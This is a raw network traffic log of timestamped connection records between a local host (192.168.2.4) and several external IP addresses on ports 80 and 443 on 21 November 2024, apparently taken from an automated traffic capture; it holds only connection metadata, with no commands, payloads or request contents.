Nov 21, 2024 07:10:33.197814941 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.198493004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.198534966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.198631048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.198668003 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.199342012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.199388027 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.199431896 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.199470997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.200138092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.200179100 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.200248957 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.200297117 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.200962067 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.201004028 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.201076031 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.201112986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.201777935 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.201817036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.201874018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.201905966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.202610970 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.202655077 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.202699900 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.202737093 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.203422070 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.203459978 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.203573942 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.203612089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.204256058 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.204291105 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.204369068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.204404116 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.205055952 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.205096006 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.205171108 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.205208063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.205895901 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.205935001 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.205992937 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.206027031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.206713915 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.206756115 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.206810951 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.206845999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.207535028 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.207570076 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.207588911 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.207623005 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.208324909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.208363056 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.867813110 CET	80	49823	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:33.867934942 CET	49823	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:33.944607973 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.986088037 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.986150026 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.986566067 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.986583948 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.995805025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:33.996143103 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:34.115598917 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:34.115681887 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:34.115725994 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:34.115792990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:34.150284052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:34.270973921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:34.482392073 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.531829119 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.543154955 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.575094938 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.575109005 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.575839043 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.575845957 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.588428974 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.601854086 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.601953030 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.602144003 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.671855927 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.671864986 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.672874928 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.672878981 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.730551004 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.730595112 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.730850935 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.734261036 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.734282970 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.735822916 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.735822916 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.735871077 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.735920906 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.737174034 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.737217903 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.737293959 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.737716913 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.737780094 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.737890959 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.737905979 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.737937927 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.738080978 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.738106966 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.746038914 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.786748886 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.786763906 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.787431955 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.787440062 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.788094044 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.788162947 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.788410902 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.788640976 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:34.788674116 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:34.822012901 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.822055101 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.822357893 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.833734989 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.833760023 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.875600100 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.885579109 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.885598898 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.886204958 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.886209011 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.930627108 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.930795908 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.930862904 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.932636976 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.932657957 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.932672977 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.932679892 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.940439939 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.940521955 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:34.940609932 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.944601059 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:34.944637060 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.011617899 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.011643887 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.011702061 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.011706114 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.011775017 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.012837887 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.012851000 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.012860060 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.012864113 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.031281948 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.031364918 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.031459093 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.035712004 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.035744905 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.190045118 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.190130949 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.190191984 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.192171097 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.192187071 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.192197084 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.192200899 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.206737041 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.206800938 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.206887007 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.207916021 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.207948923 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.330982924 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.331048965 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.331109047 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.450371981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450400114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450414896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450467110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450473070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.450483084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450500965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450505972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.450515032 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450565100 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.450587988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450635910 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.450853109 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450867891 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.450900078 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.450921059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.570189953 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.570215940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.570246935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.573293924 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.574186087 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.574271917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.642735958 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.642796040 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.642817020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.642849922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.646843910 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.646904945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.647450924 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.647495031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.655194998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.655251026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.655297995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.655340910 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.663554907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.663641930 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.663661003 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.663789988 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.671936989 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.671994925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.672049046 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.672096014 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.680301905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.680367947 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.680448055 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.680504084 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.688699007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.688756943 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.688801050 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.688848972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.697031975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.697084904 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.697252035 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.697302103 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.705452919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.705498934 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.705549955 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.705593109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.708296061 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.708317041 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.708329916 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.708334923 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.713815928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.713871002 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.713916063 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.713964939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.721623898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.721683979 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.721695900 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.721750975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.729387045 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.729461908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.834800005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.834877014 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.834894896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.834940910 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.837172985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.837220907 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.837316036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.837359905 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.841856956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.841907024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.841984987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.842031956 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.846616030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.846671104 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.846729994 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.846776962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.851355076 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.851464987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.851525068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.856060982 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.856161118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.856220007 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.860761881 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.860814095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.860857964 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.860914946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.865451097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.865624905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.865624905 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.865674019 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.870129108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.870186090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.870286942 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.870345116 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.874824047 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.874926090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.874974966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.875025034 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.879460096 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.879609108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.879669905 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.884213924 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.884342909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.884406090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.888993025 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.889050961 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.889101028 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.889388084 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.893563986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.893805981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.893863916 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.898283958 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.898356915 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.898437977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.898487091 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.902980089 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.903058052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.903208017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.903274059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.907649994 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.907701015 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.907795906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.907855988 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.912384987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.912478924 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.912522078 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.912874937 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.917037010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.917114019 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.917167902 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.917311907 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.921715021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.921776056 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.921828032 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.921896935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.926383018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.926443100 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.926470995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:35.926834106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:35.956609011 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.956653118 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:35.957087994 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.961473942 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:35.961493015 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.028229952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.028318882 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.028357029 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.028357029 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.030061007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.030123949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.030164003 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.030874968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.033715010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.033761024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.033813000 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.034019947 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.037399054 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.037519932 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.037524939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.037663937 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.041079044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.041125059 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.041152000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.041197062 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.044620037 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.044672012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.044717073 CET	80	49828	185.215.113.16	192.168.2.4
